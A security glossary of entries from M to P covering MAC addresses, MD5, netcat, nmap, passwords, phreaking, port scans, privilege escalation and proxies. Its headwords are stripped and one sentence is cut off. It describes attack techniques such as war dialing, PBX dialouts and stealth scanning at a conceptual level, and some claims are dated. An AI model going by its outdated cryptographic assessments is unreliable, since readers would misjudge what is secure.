Example: System administrators typically have multiple accounts with different rights. For example, when I'm logged in as a normal user, I do not have rights to administrator my own machine. I must login as a separate account in order to administer the system, then log out as soon as I'm done. Most UNIX systems will use the hash/pound sign # at the command prompt in order to hint to the user that they have root access and should be careful.
Key point: One of the leading causes of security breaches is authorization creep: as users change roles, they often get new privileges, but old privileges are rarely taken away.
Key point: Most programs go through a high-level interface (like sockets) in order to send traffic on the network. Sometimes, for security or hacking reasons, a program needs to construct its own network headers. The existing TCP/IP stack is unable to build these headers, so you must bypass it and go directly to the hardware drivers. Libnet is a library that makes custom packet generation easier.
Misunderstanding: Some people believe that libnet will not work on Win95 or WinNT because these systems do not support raw sockets. This is false -- libnet has been widely used on these platforms.
Misconception: You must have root privileges to run libpcap-based programs. This is a common problem when script-kiddies try to run programs based upon this library: they don't know they must run under root, and the scripts themselves rarely give instructional error messages as to what exactly is wrong.
Point: Most Windows packet-sniffers are based upon a variation of the PCAUSA driver. This includes "WinDump", a libpcap implementation for Windows.
Key point: Often, remote exploits can achieve only user-level access. After breaking into a machine with one exploit, the hacker may need to execute a local-exploit in order to gain administrative/root control over the machine.
Example: One of the most popular local-exploit categories on Unix is a race-condition with temporary files (files in the /tmp) directory.
Contrast: Most exploits are categorized as to whether they are "local" or remote.
Point: Linux vies with Solaris and Windows as being the most popular OS for Internet servers.
Contrast: Linux is a UNIX-like operating-system, more similar to UNIX System 5 than to BSD UNIX.
Links: You can download lsof from the following mirrors:
ftp://vic.cc.purdue.edu/pub/tools/unix/lsof/ ftp://ftp.crc.doc.ca/packages/lsof/ ftp://ftp.sunet.se/pub/unix/admin/lsof/
[ MAC | MAC address | magnetic stripe | mail bomb | mail relay | malware | man-in-the-middle attack | mandatory access control | masquerade | Maximum Transmit Unit | MD4 | MD5 | Melissa Virus/Worm | memory | message | Message Authentication Code | message digest | metacharacter | Metcalfe's Law | Microsoft | Midnight Maze | mission creept | mission critical | Mixter | MLM | mobile code | modem | Moore's Law | Morris Worm | movies | mozilla | MTU | multi-homed | music ]
Contrast: The most common form is actually HMAC (hash MAC) that uses the algorithm hash(key + hash(key + data)).
Key point: The MAC address is 6-bytes long, and must be unique. In order to guarantee uniqueness, equipment vendors are assigned a unique 3-byte prefix, and they then assign their own 3-byte suffix. Thus, the first 3-bytes of a MAC address identifies what kind of hardware you have (3Com, Cisco, Intel, etc.).
Key point: The uniqueness property of MAC addresses has interesting implications. It was an important clue in tracking down David Smith (the Melissa author).
Exmample:
Key point: This often means that both sides of a connection really need to authenticate themselves. For example, when you log into a server, you really want to be assured it is the real server you are talking to, rather than Mark who is forwarding your requests to the real server using your identity.
Key point: In the year 2000, Dug Song released a toolkit for interposing yourself in between SSL and SSH connections. It relies upon the fact that client systems do not validate the certificates on the server. Therefore, the man-in-the-middle attack can present any certificate to the client, which will not realize it is not the certificate of the server.
Contrast: Compared to other hash algorithms, MD5 is extremely popular. It is the most popular hashing algorithm, used in SSL, PGP, HTTP authentication, Tripwire, and many other places. MD5 is one of the faster hash algorithms. However, a theoretical weakness has been found such that an attacker may be able to create two separate messages that hash to the same value. Therefore, most use of MD5 is simply for backwards compatibility.
History: MD5 was written by Ron Rivest as an enhanced version of the earlier MD4. MD4 is part of many standards, but is considered completely broken by today's standards (and MD5 itself is now considere to have some weaknesses).
See also: integrity
Controversy: Many security technologies (anti-virus, firewalls, mobile code) are based upon the concept of querying the user with the question: There is a security issue here, are you sure you want to continue? Security professionals have long warned that just dependency is unreliable -- users have to be lucky in answering the questions right all the time, whereas the hacker needs to get lucky only a few times. In the case of the Melissa virus, every user that spread the virus was first prompted with the query: This document contains macros, do you want to run them?, and answered incorrectly.
Key point: Memory gets erased when the computer is turned off. For this reason, one security technique is to store things only in memory. For example, when you first log onto a computer, it will remember your password in memory so that as you access other resources, it can use that password instead of prompting you repeatedly. In this technique, this is never saved to disk. This means if somebody unplugs your computer and runs away with it, they cannot steal your password. Some problems with this technique is that occasionally the memory is swapped to disk anyway.
On UNIX, the most important characters are "shell" metacharacters. The reason they are important is because the shell is often used by one program to spawn another. This means that input provided to the parent program will be passed to the shell, then to the child program. If a hacker can craft special input using metacharacters, the hacker may be able to cause that shell to do something unexpected.
Example: Some UNIX shell metacharacters are: [] () {} ~ # $ ^ & * \ | ; <> ? ` '
The idea is that the power of the Internet is not simply all the websites that you can access (linear), but the power represented by everyone else also on the Internet (exponential). For example, organizations like http://www.distributed.net cannot only harness lots of machines in order to tackle large problems (linear), but they also can exploit the word-of-mouth on the Internet to sign up (exponential). Similarly, consider the growth in sites like http://www.slashdot.org that start out as hobbyist sites, but eventually blossom into large money making ventures, tossing pre-Internet-age business philosophies on their ear.
Key point: Hacker attacks grow exponentially because more and more hackers are getting online (especially from 3rd world countries) and more and more resources (businesses) are getting online.
Key point: The amount of computing resources a hacker can tap into from his/her computer desktop is more than the combined might of all governments and militaries.
Key point: A big problem with corporations is that they do not spend enough time hardening mission critical applications, or spend too much effort on non-mission critical elements.
Key point: To understand how the modem works, you must first understand how the phone system works. Your home has a pair of wires leading to the local central office (CO). This pair of wires leads into some equipment that converts the voice traffic into digital data and sends it down a 56-kbps digital channel. This means that the highest speed you can get from a dial-up modem is 56-kilobits/second, and then only with sophisticated technology. All that noise you hear when using a 56-kbps modem are a series of tests designed to figure out the characteristics of the wires leading to the CO, and the equipment on the other end that digitizes the data. The modem is trying to figure out the exact tones necessary on one end that creates the exact digital pattern when digitized.
Humor: Most companies use digital phones. This means that the phone in your office converts your voice directly to a digital signal without ever using analog telephone lines. This means you cannot plug your modem into the wall jack and have it work. In order to allow modems to work, the company may install special "data" lines for modems. This leads to the humorous condition where "data lines" mean analog, and "voice lines" mean digital. This is humorous because we normally have the opposite association with the meanings of data=digital and voice=analog.
Exploit: Many companies have desktop computers with modems. War dialing will often discover such computers, allowing corporations to be hacked behind a firewall.
Key point: Every bit of key length doubles the security, making it twice as difficult to crack. However, because of Moore's Law, every year that passes makes all keys twice as easy to crack. Therefore, if it takes 1-week to break a message encrypted with a 40-bit key, it will likewise take 1-week to break a message encrypted with a 128-bit key roughly 100 years from now.
Point: Both Netscape and Microsoft web-browsers identify themselves as being "Mozilla" in the User-Agent: field. When Netscape officially created the name "Navigator" for their web-browser, the engineers didn't bother changing this field. When Microsoft came out with version 3.0 of their "Internet Explorer", they attempted to emulate all the features of Navigator. In order to take advantage of web-sites that provided richer multimedia content based upon whether Mozilla was running, Microsoft put "Mozilla" as the version of their browser, with additional content identifying itself as "MSIE".
Key point: Path MTU is the combined MTU of all the segments that a packet must travel through. A lot of WAN links have MTUs on the order of 576 bytes. Therefore, packets traveling through such networks will result in heavy fragmentation.
Key point: IDSs hooked up to a hybrid Token Ring (MTU=16k) and Ethernet (MTU=1.5k) network generate lots of false positives about the large amount of fragmentation going on.
Key point: Misconfigured multi-homed hosts are common enough that it makes distinguishing their anomalies vs. hacker anomalies difficult.
[ NANP | NAT | National Security Agency | NAVSTAR | NBT | NetBEUI | NetBIOS | netcat | netiquette | network logon | network-based | newbie | newtear | newtear2 | NFS | NIST | NIT | nmap | non-repudiation | nonce | NSA | NTFS | nuke | nukes | NVRAM ]
Contrast: A NAT provides some firewalling capabilities because isolates the end-nodes while still providing access to the Internet. The isolation is better than packet-filter firewalls, but not as good as proxies.
Misunderstanding: Like sockets, many different protocols can be used to transport applications written to the NetBIOS API. When you say "NetBIOS", some people will understand you to mean the TCP/IP transport. Other people will think of "NetBEUI", which is the transport over raw Ethernet without any intervening routable network protocol. Use the term "NBT" (NetBIOS-over-TCP) or "NetBEUI" to avoid confusion.
Contrast: Microsoft's "File and Print Sharing" uses the SMB protocol over NetBIOS. Microsoft supports the NetBIOS interface over TCP/IP, NetBEUI, and Novell's IPX/SPX. Home users who share files among their own machines mistakenly enable File and Print Sharing using the TCP/IP transport, allowing hackers anywhere on the Internet access to their machine. Instead, they should configure it over the NetBEUI transport so that nobody outside their network can access their files (note: this still might open up their networks to people on the same cable-modem VLAN).
History: Originally developed by SyTek for IBM. It was implemented in the ROM of IBM'ss broadband Ethernet (3-mbps, over cable TV coax rather than normal Ethernet coax, separate send/receive channels).
More: If you maintain a firewall, you will see regular NetBIOS requests in your logs. Read the document http://www.robertgraham.com/pubs/firewall-seen.html#netbios for more info.
Key Point: Variants of netcat are a popular way of redirecting shell prompts and other protocols. In the past, this was always done in the clear. Today, there are variants such as aes-netcat or crytcat.exe that will encrypt the channel.
Quote: "When thou enter a city, abide by its customs." -- The Talmud
See also: Capstone Project
Key point: nmap is preferred over vulnerability scanners because it is much less noisy. Hackers prefer focused tools that do their job well rather than comprehensive tools that likely do unwanted things.
Point: There are well documented instances where NSA surveillance has aided United States interests in:
Contrast: The NSA is forbidden by law to spy on is own citizens; in theory this is left up to the FBI. However, the NSA is responsible for protecting the government from foreign spies, which overlaps with the FBI, which can sometimes leak data to the NSA. Likewise, the NSA has agreements with the CIA to do monitoring it would otherwise be barred from. Finally, the NSA has reciprocity agreements with foreign countries to share some of the information that their spies find out about America (see Echelon).
History: The NSA was created in 1952 by Harry S. Truman through a secret executive order. It was formed from the remnents of the Armed Forces Security Agency. It was rumored to exist by 1956, then fully exposed in 1960 when two gay NSA analysts defected to the Soviet Union. It's main purpose in the 1950s was setting up U.S. radio-signals monitoring stations throughout the world, though by the 1970s it was heavy into creating cryptographic standards and buying supercomputers. Even today, the general public does not know of the NSA nearly as well as the CIA, even though the NSA is probably the more powerful organization. In 1982, a federal court ruled that the NSA may lawfully intercept messages between U.S. citizens and overseas, without court orders or even suspicion that the Americans in question are foreign agents.
Contrast: Similar SIGINT organizations in other countries are the Britsh GCHQ (Government Communications Headquarters), the French DGSE (Direction générale de la sécurité extérieure), the Canadian CSE (Communications Security Establishment), and the Australian DSD.
Contrast: The NSA is often lumpted together with the National Reconnaissance Office (NRO), which is responsible for space-based reconnaissance (e.g. spy satellites). The existance of the NRO wasn't confirmed by the US until 1992.
Contrast: Unlike other organizations, the NSA doesn't use its own data. Instead, it passes the data onto other organizations.
Key point: Hardened WinNT computers should use NTFS exclusively. After installation, some file and directory permissions need to be adjusted.
Key point: NTFS supports a feature called "alternate data-streams" (similar to Macintosh data and resource forks) that can be used to attach data to files in a hidden way. The additional information does not appear to change the size of the file in directory listings.
[ obscurity | one-time pad | one-time password | one-way hash | open-source | operating system | Operation Sun Devil | Orange Book | OS | OSPF | own ]
Controversy: This is a controversial topic. Non-security people will often claim that well-known security precautions are not necessary because it is unlikley that a hacker will find the obscure hole. Security professionals find this distressing because they have experience with the hacker community that regularly makes the obscure obvious. For example, buffer-overflow bugs are really obscure and hard to exploit, but once a hacker writes an automated exploit script or worm a once obscure vulnerability becomes widely known.
Problem: While the one-time pad is perfectly secure in theory, it has problems in practice, and is rarely used. The major problem is how one distributes the one-time pads to all the receivers. This can be done in some cases, such as sending out CD-ROMs full of random bits with soldiers on the battle-fields, but it becomes unwieldy for normal uses of cryptography.
Key point: The pad (secret key) can be used only once. If it is ever used twice, then much of the plaintext can be easily recovered. This means that the pad must be as long as the data being encrypted.
History: The one-time pad was invented by G. S. Vernam in 1926, and saw heavy use during WWII. It is still used today in diplomatic corps, spies, the Washington-Moscow "hot-line".
Rumor: There are many short-wave radio stations throughout the world broadcasting a human voice reading off long lists of numbers. These are thought to be messages sent to spies throughout the word who decode them with one-time pads.
Key point: Today's encryption algorithm are based upon the theoretical underpinnings of the one-time pad.
The political view is that people should be able to view the source, that is should be "open" for reading by anybody. The primary reason is that open-source increases "freedom". People are free to make changes as they like to the source-code, thereby fixing bugs or adding features to their software. There is also a level of paranoia involved: people fear that closed-source they can't read may be doing something subversive, such as secretly monitoring people for the government.
Controversey: Open-source advocates believe that it is beneficial for the following reasons:
Example: The following are well known open-source projects: Linux, Apache, sendmail, BIND, Samba, Perl, Mozilla, MySQL
Among those raided was Steve Jackson Games of Austin, Texas, purely because it had a role playing game about cyberpunks that the Secret Service considered to be "a handbook for computer crime" (it wasn't). Three years later, a federal court awarded damages and attorneys' fees to SJG ruling that the raid had been careless, illegal, and completely unjustified.
Key point: OSPF can easily be subverted by "local" hackers. This means that hacker generally has to be within network area he/she wishes to subvert. The hacker will either pretend to be a router, or spoof packets from nearby routers. The most common technique is to "advertise" false information (spoof Link State Advertisements (LSA)).
Key point: The true secret (such as the password used to encrypt the passwords) is never sent across the wire. A hacker could certainly sniff the password from the wire, but it is now useless.
Example: The original OTP system was named "S/Key"; a term trademarked by Bellcore. The idea was to create a password authentication system that integrated seamlessly to existing UNIX systems. Other approaches require replacing existing protocols/software with secure password exchanges (like challenge-responses or public-key crypto). However, it should be noted that the S/Key protocol is still vulnerable to man-in-the-middle attacks.
[ packet | packet filter | packet sniffer | packet switched network | padding | paranoia | passive attack | passphrase | password | password cache | PASV | patch | patent | Path MTU | payphone | PBX | PEM | pen register | pen testing | penetration testing | PER | PERL | pgp | phf | philosophy | phone trap | phreak | phreaking | physical security | PIN | ping | ping-of-death | PKCS | PKI | plaintext | policy | politics | POP3 | port | port scan | portmap | portmapper | Post Office Protocol v3 | PPP | pretty-good-privacy | prime | printf | privacy | private-key | privilege elevation | privilege escalation | PRNG | process | prompt | protocol | protocol stack | proxy | pseudo random number generators | pseudonym | pseudonymity | PSH | PSN | PTR | Public Key Infrastructure | public-key | pulse dialing | pwdump | pwdump2 ]
Analogy: Imagine looking at an automobile freeway during rush hour from an airplane. The freeway looks like a flowing river, but each individual car (packet) is really independent from all the others. While it looks like the cars on the freeway are going in the same direction, each car really has its own source and destination separate from the others around it. This is how Internet core routes look.
Analogy: Now consider that a bunch of coworkers leave the office and go to a party. Each gets in his/her own car and drives to the party. Each person may take a slightly route, but they all end up together at the party. This demonstrates how data is broken up into individual packets, sent across the Internet (potentially following different routes), then reassembled back again at the destination.
Key point: Conceptually, networking occurs at abstract layers well above the concept of packets. Users type in a URL, and the file is downloaded. By dealing with the raw packets themselves, hackers are frequently able to subvert communications in ways not detectable at these higher layers.
Contrast: The term "packet switched network (PSN)" is used to describe the Internet, whereas the term "circuit switched network (CSN)" is used to contrast it with the traditional phone system. The key difference is that in the phone system, the route between two people is setup at the start, and each bit in the stream follows that route. On the Internet, each packet finds its own route through the system, so during a conversation, the packets can follow different paths, and indeed arrive out-of-order. Another key difference is latency. The phone system forwards each bit one at a time, so as soon as one arrives, it doesn't have to wait before forwarding it on. On the Internet, bits are bunched together before transmission. Each hop must wait and receive all the bits before forwarding any of them on. Each hop therefore adds a significant amount of delay. Gamers know this as the "ping" time.
Key point: There are other technologies that use packets, not just the Internet. Before the Internet came along, X.25 networks were a popular form of packet-based communication (and indeed, X.25 formed the basis for many links on the nascent Internet).
BLOCK destination=192.0.2.x TCP flag=SYN ALLOW destination=192.0.2.123 TCP destport=80 ALLOW destination=192.0.2.124 TCP destport=25If our private network is 192.0.2.x, then the first rule above blocks all incoming TCP connections (though outbound connections would still be allowed). The following rules override the first, allowing access to the web-server at port 80 and access to the e-mail server at port 25.
Key point: The basic stance of a company firewall is:
Contrast: The word "dynamic packet filter" was coined to contrast with the normal "static filter" rules in a firewall described above. Dynamic rules are needed because:
Block all incoming connections, but if the user has established a connection to port 21 on a server, then allowing incoming TCP connection from the server port 20 to ports higher than 1024 on the client.Another type of "dynamic" rule is one where the firewall does protocol analysis at layers higher than TCP. To contrast with the example above, the firewall might analyze the FTP connection looking for the PORT command. (The "PORT" command is the FTP protocol whereby the client tells the server which port is has opened to receive a file on). Checkpoint calls this protocol analysis "stateful packet inspection" in their firewall. Other vendors do similar stuff, but call it different names.
Key point: Padding is a regular feature of all crypto algorithms, including hashing and encryption. Some algorithms have been broken due to poor choices for padding. Most importantly, however, the size of the message can often reveal details about its contents. For example, let's assume a protocol whereby somebody accepts something with a simple message of "yes", but when it declines, it says "no" along with a reason why it was rejected. Therefore, even though the messages are encrypted, the "yes" will be a short message but the "no" will be a long message.
Humor: Just because you are paranoid doesn't mean they aren't out to get you.
Key point: The problem with the security industry is that people are frequently distracted by being paranoid about the wrong things, and not giving enough attention to the right things. Unfortunately, you never figure out which is which until it is too late.
Example: Some things to be paranoid about: NSA, Echelon, Carnivore, FBI.
History: Passwords have been used since Roman times. The Romans were some of the first large armies where people didn't recognize each other by site. In order to gain entry into the camp, a Roman soldier would have to know the secret password.
Key point: The most important defensive mechanism that a corporation can take is to create and enforce policies about proper password usage. This policy should entail:
Key point: A leading cause of compromise are programs that leave behind default passwords. A leading cause of compromise are users who choose weak passwords that can easily be guessed or cracked.
Tools: The crack programs can be used to maintain a strong policy (or break into systems).
Tools: On Windows NT, the "passflt.dll" and "passprop.exe" tools can be used to enforce strong passwords.
Misunderstanding: People used to believe that a good password was a random mix of UPPER and lower case, numbers, and punctuation. However, this generates passwords that are impossible for users to remember, so they find ways around the restriction, such as writing passwords down on Post-It notes. Therefore, somebody can compromise the network by simply looking for Post-It notes (such as pasted to the bottom of a keyboard).
Controversy: Many policies declare that a password must be changed frequently, and most OSes come with tools for enforcing this. However, this leads to the same problem as above: it causes pain for users, so they behave in ways that reduce security. Also, it isn't clear that it dramatically increases security.
Contrast: Passwords aren't the only authentication scheme possible. Crypto-cards are often used to generate "one-time passwords" or challenge-response authentication.
Tip: Use a Palm Pilot and a crypt program to store your many passwords. Make sure that you choose a encryption program that cannot be broken.
Notes: In June, 2001, the British CentralNic commissioned a poll to discover what kinds of passwords people choose. They found that people could be classified:
See also: grind, crack, password cache, 8-character password, PIN
Key point: All systems cache passwords in memory during a login session. Therefore, if a hacker can gain access to all memory on the system, he/she can likely sift the memory for passwords. Likewise, hackers can frequently sift pagefiles for passwords.
Key point: Many programs whose goal is ease-of-use will ask the user if they want to save the password on disk (in a file or registry. For example, the MS Outlook e-mail client has this feature to cache the POP3 passwords. Therefore, hackers have programs that will sift the filesystem or registry or these passwords. Some systems will store these cached passwords in clear-text, others attempt to encrypt the passwords, but usually this encryption mechanism ca be defeated.
Analogy: Imagine that you are in a rubber raft that seems to be sinking. You look around on the boat and see small holes. You use your patch kit to fix the small holes rather than building yourself a new boat.
Key point: The software you are using today likely has security holes that nobody has discovered yet. It seems unlikely, but this has been the historical precidence, whether you are using open-source (e.g. Linux), Microsoft products, or class UNIX systems (e.g. Sun). Therefore, if you don't keep up with the latest software, you will eventually get hacked.
Key point: Payphones have a long history of attack/defense/counterattack, still playing out today. Some of these battles are:
Point: One of the ways of using payphones is for calling somebody on the phone. This is one way drug dealers use the phones. Because of the abuse of this feature, some phones have the ringer turned off or muted.
Terminology:
Key point: A dialout is a PBX that phreakers find that allows them to call the PBX, then dial back out to any number they want, charging the call to the owner of the PBX. There even exist firewall-like devices that sit in front of PBXs in order to
Contrast: Core components of PEM influenced later standards such as SSL. For example, the certificates used by some SSL implementations end in the suffix ".pem".
Contrast: PEM and PGP are functionaly similar as far as e-mail encryption is concerned. The main difference is that PEM is based upon PKI standards like X.509 certificates, whereas PGP uses more ad hoc technologies. The frameworks are completely incompatible, so that an e-mail encrypted using one system cannot be decrypted using the other. The basic difference in the framework is that PEM uses X.509 hierarchy of certificate authorities, whereas PGP uses a more distributed "web of trust".
Contrast: Court orders for pen registers are more frequent than full wiretaps. Judges low in the federal hierarchy who cannot authorize wiretaps are still able to authorize pen register taps. Whereas wiretaps are typically used to gather hard evidence for prosecution, pen registers are often used to gather background evidence during investigations.
Contrast: Carnivore is most frequently used in a manner similar to a pen register, recording the FROM and TO fields of e-mail messages without capturing their content.
Contrast: Discussion of a pen register frequently mention trap and trace as well. A pen register records what numbers a suspect dials on their phone outbound; a trap and trace records the caller ID of people connecting inbound to the suspect.
Point: The court order specifies:
Definition: Section 3127 of ECPA defines a pen register as:
...a device which records or decodes electronic or other impulses which identify the numbers dialed or otherwise transmitted on the telephone line to which such device is attached, but such term does not include any device used by a provider or customer of a wire or electronic communication service for billing, or recording as an incident to billing, for communications services provided by such provider or any device used by a provider or customer of a wire communication service for cost accounting or other like purposes in the ordinary course of its business
See also: Carnivore, wiretap, trap and trace, United States Code TITLE 18 part II chapter 206 section 3121
Controversy: There are several well-documented cases where clients have been burned by such tests. The penetration testers may find juicy corporate data that they cannot resist taking.
Controversy: Many people debate the effecacy of such tests. Evil hackers will choose a set of techniques that protect them from being caught. Penetration testers do not fear prosecution, and will therefore choose a different set of techniques.
See also: tiger team
Key point: v5 of PERL has the concept of "tainted" input that cannot be passed raw to the operating system without preprocessing. This is an amazingly useful feature that solves the majority of input validation problems in CGI scripts.
Key point: A frequent misconfiguration is putting a PERL executable directly in the cgi-bin directory, allowing remote access of it.
Key point: All true hackers use open-source versions of PGP to encrypt their data.
Resources:
Point: Users of PGP have choices of the following algorithms. Note that older v2.6 users can only use RSA/MD5/IDEA to read messages.
Key point: This attack has become "classic". Virtually all CGI scanners search for it, and the typical intrusion detection system will trigger on it. In any discussion of web-server attacks, this is the first attack mentioned. The term "PHF" has become synonymous with "web-server CGI attack".
Key point: It falls victim to the input validation problem.
Misconception: PHF stands for "PH form", and "PH" stands for "/usr/local/bin/ph", a program that looks up phonebook records within a CCSO database (where CCSO is a popular university campus directory software package). However, within ISDN networks, there is an acronym "PHF" that stands for "Packet-Handler Function". Therefore, many guides that talk about the PHF exploit claim that PHF stands for "Packet-Handler Function".
Key point: Most of the literature available on the net applies to phone systems that are 20 years old. These techniques rarely work on modern phone systems, though they still work in areas of the world with older phone equipment.
Key point: Phreaking is not nearly so popular today because the main tast of phreaking was simply to be able to talk to other phreakers for free. Nowadays, you just do that on the Internet.
Key point: One way of compromising physical security is tailgating.
Point: Some of today's newer server machines have physical intrusion detection systems that will notify the operator when the case has been removed from the machine.
Example: An ATM (cash machine) is an excellent example of the problems facing infosec. The systems uses "two-factor" authentication, combining the concepts of "something you have" (the ATM card) and "something you know" (the PIN). Either factor is weak by itself: cards can be stolen, PINs can be guessed. When combined, however, they form a pretty good defense.
Example: The ping-of-death attack used IP fragmentation to crash systems. It was so named because the ping program built-in to Windows could be easily told to fragment packets this way.
Key point: Even though the ping program is simple, it can be abused. Some versions can be commanded to send packets as fast as possible, which is often done to flood networks. Most versions allow the packet size to be set to a large size, forcing fragmentation. When used with the flood above, it can overload machines since fragmentation reassembly is so slow.
Contrast: There is an IRC command called "PING" that is unrelated to the ICMP ping. It is simply the text string "PING", where the target replies with "PONG".
These and other properties provide solutions to a wide number of longstanding issues with cryptography. The various uses for public-keys have been bundled together in what is known as a new cryptographic infrastructure: PKI.
Key point: PKI consists of:
Uses: PKI (public-keys, certificates, etc.) is used in:
Key point: Depending upon context, plaintext can refer to the contents of a message before encryption, after it has been decrypted, or even a message that is in the "clear" and not encrypted at all.
Key point: Many networking protocol protocols use plaintext passwords that can simply be sniffed off the wire.
Key point: Nerds hate bureaucracy, and frequently resist clarifying the security stance. Policy statements are frequently useful, and small ones given to new employees help prevent a lot of problems before they start. They are also useful CYA: when an executive starts complaining about something not working through the firewall, it helps to pull out the Policy and explain that it isn't allowed.
Key point: Policy documents bring out the process bureaucrats who will spend hours debating the policy in order to avoid real work that they might be judged upon. As a result, many companies spend a lot of effort creating useless policy documents.
Key point: A good rule of thumb: only put things in the policy document that include a plan on how you enforce it. For example, if you say "users should choose strong passwords", include a plan on how to enforce them.
Example: A policy might contain the following items:
Key point: Since e-mail is one of the most popular services on the Internet, there are a huge number of different implementations of POP3 services.
Key point: I can have two URLs that look like http://robertgraham.com:80/ and http://robertgraham.com:90/. These two URLs access different web server programs running on the same machine, one at port 80 and that other at port 90.
Misconception: Many people believe that the port correctly identifies the protocol that runs on that port. For example, the port 110 has been assigned to the POP3 e-mail service. However, even though this is the correct port for the protocol, somebody could put a different service on this port, such as HTTP. In this example, I could then supply URLs that looked like http://www.robertgraham.com:110/.
For example, the rpc.mountd RPC program is assigned the well-known program number of 100005. When it starts up, it might obtain the port number like 635. It then registers with the local portmapper (on the same machine) and gives it the [100005,635] combination. When a client program whishes to contact rpc.mountd, it first contacts portmapper and asks "where is program 1000005?". Portmapper replies with the current port, at which point the client program proceeds to talk with rpc.mountd on the correct port.
Key point: In theory, you must have access to port 111 on the target machine in order to reach any RPC service. Therefore, some firewall administrators block access to port 111 on the mistaken belief that this will protect them. This belief is wrong because while it prevents an intruder from easily finding the target RPC services, they can still hunt for them. Using nmap, an intruder can first do a port scan to find open ports, then use the "NULL proc grinding" feature of nmap to figure out which RPC is listening on that port. Also, sometimes Sun puts another portmapper at a high port (like 32773)
Contrast: A stealth scan attempts to evade detection. The most common kind is a TCP half-open scan which fails to complete the three-way handshake. This prevents the application listening on a port from being notified that a connection attempt has taken place, so it won't log that fact. Most "stealth" scans attempt to evade logging on the host, but this makes more distinctive signatures that intrusion detection systems can detect.
Key point: Ports scans are not illegal in many places, those laws have yet to be written on the subject. The Norwegian Supreme court ruled that they are not illegal because they don't actually compromise the system. There is also the technical problem that they can easily be spoofed, so it is hard to prove guilt. There is even the third problem that virtually any machine on the Internet can be tickled into scanning somebody else; the hacker doesn't break into that third party, but triggers special conditions that causes the effect of a port scan.
Controversy: Many people think that port scanning is an overt hostile act and should be made illegal.
Contrast: Full port scans of all 65536 ports are rarely seen, especially since they are so obvious. Instead, hackers will strobe for just the ports he/she is interested in. These strobes are for typically fewer than 10 ports. Also, the hacker will often sweep thousands (or millions) of machines rather than a single machine looking for any system that might be vulnerable.
Tool: The best tool for doing port scans is nmap from http://www.insecure.org/nmap.
Key point: Sniffing PPP dial-up connections is very hard and is virtually never done.
Example: The first few primes are:
2 3 5 7 11 13 17 19 23
29 31 37 41 43 47 53 59 61
67 71 73 79 83 89 97 101 103
...
Point: There are a lot of primes; they are pretty densely distributed throughout the range of numbers. The Prime Number Theorem states that the number of primes less than a number n is roughly equal to the equation n / lnn. This means that when the RSA algorithm is randomly choosing a 512-bit prime number, it will have to randomly generate roughly 180 random 512-bit numbers and test them for primeness before it finds one (roughly 1 in 354 512-bit numbers are prime). In the range of 4096-bit, roughly one in 3000 numbers in that range is prime. What this essentially means is that even for small 512-bit numbers, there are still more primes to choose from than atoms in the known universe, and there are even more primes to choose from using larger numbers.
Point: Two numbers are relatively prime if they share no prime factors. For example, the numbers 35 and 36 are relatively prime. The prime factors of 35 are five and seven (35 = 5 x 7), and the prime factors of 36 are two and three (36 = 2 x 2 x 3 x 3). The RSA public-key algorithm chooses some numbers that must be relatively prime to each other.
Point: Prime-number generation routines only generate "probablistic" primes. While in theory a non-prime number might slip through, the odds of that happening are extremely low.
Point: We will never run out of primes.
Point: People now discuss the idea of "illegal primes". An example is compressing the source code for DeCSS, then altering it until the resulting number is "prime". Thereafter, publishing this prime number would be technically illegal.
Example:
History: Around the year 2000, many survey's discovered that the chief concern among the American public was privacy (more than health care or the economy).
Contrast: Americans are more afraid of privacy invasions by government, Europeans are more afraid of privacy invasions by business. While it is hard for Americans to understand, members of most European contries trust their governments.
Key point: Privacy laws cover the following items:
Contrast: Some privacy laws are:
Contrast: The opposition to privacy is accountability. Governments want to make people accountable for their actions so that crimes can be solved and presumably stopped. Philosophically, a loss in privacy makes the government less accountable to its populace. Citizens have a harder time fighting government abuses if the government knows all their activities. Additionally, governments due a poor job of protecting the secrets they discover about its citizens, resulting in inadvertent disclosure.
See also: confidentiality
Key point: Virtually all local exploits are privilege escalation attacks.
Key point: The most common example of this attack is through setuid programs that have known bugs in them, often through buffer overflows or race conditions.
Key point: Trojans, rootkits, and other evil software will attempt to hide themselves from the process list, either by providing replacements to the programs that list processes (like ps), or by hooking the system calls that enumerate processes.
Key point: By manipulating the protocol raw themselves, hackers can do powerful things that are impossible in an application. For example, client applications typically limit the length of a username that can be typed in. By manipulating the protocol raw, hackers can supply any sized username they want, sometimes causing a buffer overflow exploit.
Key point: Protocols are either text-based or binary. Text-based protocols can be read directly off the wire and manipulated directly. Binary protocols require a protocol analyzer to decode them, and must be manipulated programmatically.
See also: See the section on "banners" for examples of what some protocols look like on the wire.
| HTTP | Telnet | POP3 | SNMP | bootp | ||
| TCP | UDP | ICMP | ||||
| IP | ARP | |||||
| PPP | Ethernet | |||||
Key point: Encryption can happen at any layer.
| Payload | The data itself can be encrypted independent of the protocols used to transport it. For example, a typical use of PGP is to encrypt a message before sending via e-mail. All the e-mail programs and protocols are totally unaware that this has occurred. |
| Application Layer | Some applications have the ability to encrypt data automatically. For example, SMB can encrypt data as it goes across the wire |
| Transport Layer | SSL is essentially encryption at the transport layer. |
| Network Layer | IPsec provides encryption at the network layer, encrypting all the contents above IP, including the TCP and UDP headers themselves. |
Analogy: Consider talking to somebody who speaks a foreign language through a translator. You talk to the translator, who receives your statements, then regenerates something else completely to the other end. The translator serves as your proxy.
Key point: The communication terminates at the proxy. In other words, the proxy doesn't forward data so much as it tears it completely apart. For example, an HTTP proxy doesn't forward every request sent through it. Instead, it first examines if it already has the requested web page in its cache. If so, then it returns that page without sending another request to the destination server. Because proxies completely terminate the communication channel, they are considered a more secure firewall technology than packet filters, because they dramatically increase the isolation between the networks.
Key point: You will occasionally be scanned for proxies. ISPs scan their users for proxies. Hackers scan the Internet looking for proxies they can anonymize their connections with. Certain servers (like IRC servers) scan clients for proxies in order to prevent anonymous connections. Several websites maintain lists of such proxies. e.g. http://proxys4all.cgi.net/
Contrast: Pseudonymity is essentially a weaker form of anonymity. You can commit actions that are tied to your pseudonym, but not to your physical presence. Pseudonymity is a tradeoff between privacy/anonymity and responsibility/identification: your cyberspace actions are anonymous until you commit a crime, at which point a court order can be brought in to tie back your online name back to your real name.
See also: anonymity, identification
